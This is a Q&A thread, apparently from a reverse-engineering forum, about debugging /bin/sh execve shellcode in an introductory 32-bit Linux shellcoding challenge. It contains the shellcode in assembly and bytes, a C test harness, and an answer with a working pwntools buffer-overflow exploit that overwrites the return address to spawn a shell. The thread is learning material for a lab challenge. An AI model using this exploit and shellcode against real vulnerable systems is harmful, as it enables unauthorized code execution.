6

Currently working through an introductory shellcoding challenge, and having trouble getting the shellcode to work consistently.

I'm working on a 32bit Linux binary. I found this shellcode:

http://shell-storm.org/shellcode/files/shellcode-827.php

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80

As a first step, I ran the shellcode in a simple test program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \ 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
    printf("Shellcode length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Shellcode works perfectly in this test program. Problems start when I move the shellcode into the actual challenge binary. I can confirm in GDB that:

  1. Code execution is re-directed into the stack.
  2. The shellcode assembly is correct in the stack.

However, when program execution gets to one of these two lines in the shellcode:

0xffffd0e4:    push       %ebx
0xffffd0e5:    mov        %esp,%ecx

I get:

SIGSEGV, Segmentation fault

My question is: why does shellcode that works in a test program fail in the actual binary? How would I go about troubleshooting this?

Thank you!

  • 1
    Can you share the binary? – Paweł Łukasik Jun 9 '18 at 17:44
  • 1
    Is the stack of the binary is executable? We won't be able to tell you the exact problem without the binary itself. – Megabeets Jun 10 '18 at 13:49
  • @PawełŁukasik Thank you so much for taking a look. Here is a link to the binary: wetransfer.com/downloads/… – BronzeOtter Jun 10 '18 at 22:05
  • @MegabeetsThank you! Just shared the binary in the link above. – BronzeOtter Jun 10 '18 at 22:05
  • I've pwn this bin using your shellcode and see no issues. Can you post the code that does the code execution redirection? – Paweł Łukasik Jun 11 '18 at 7:00
8

It looks like you have two issues.

1) You are overwriting your input buffer with those push-es so that why you have some junk on the stack and that's why our application crashes.

See those two pictures that show your assembly before and after executing the second push for the /bin/sh

Before enter image description here

After enter image description here

You can clearly see odd das and bound opcodes instead of pushes.

2) You're not taking into account that the code is relocated so your buffer is not always in the same place. When you run from gdb you have the code that will jump to the beginning of the buffer (this is the part \xc0\xd0\xff\xff) and for your gdb sessions, this is true since gdb turns ASLR off.

You can check that by issuing this command in gdb:

gdb-peda$ show disable-randomization
Disabling randomization of debuggee's virtual address space is on.

If you change that by set disable-randomization off it should start failing also in gdb as the buffer will be located each time at a different location.

In order to do this correctly, you need to locate where the buffer is. This is also why you have a tip where it is located in the first message.

To compensate for that two issues I would use pwntools for this and prepare a script:

from pwn import *

context(arch='i386', os='linux')

r = process('./shellcoding.dms')
# read the line that has the info about the address
l = r.recvline()
print l
# extract it
addr = int(l[18:], 16)
#nop sled at the end but not actually needed. We only need to fill the space for the buffer to overwrite the ret
exploit = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*21 
print "Address is: "+hex(addr)
# add an address to be taken from the stack by ret
exploit += p32(addr) 

r.send(exploit+"\n")
# read the "ok... lets see if you got it..." message
r.recvline()
r.interactive() #pwn

Running this should work!

  • 2
    Awesome. Thank you, once again, for generously taking the time to help. I had no idea that having the NOPs after the shellcode vs. before the shellcode would have such a big effect. Pwntool code was also great. Was not aware of the p32() functionality, which is very helpful. On to the next one! – BronzeOtter Jun 11 '18 at 22:58

Your Answer

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.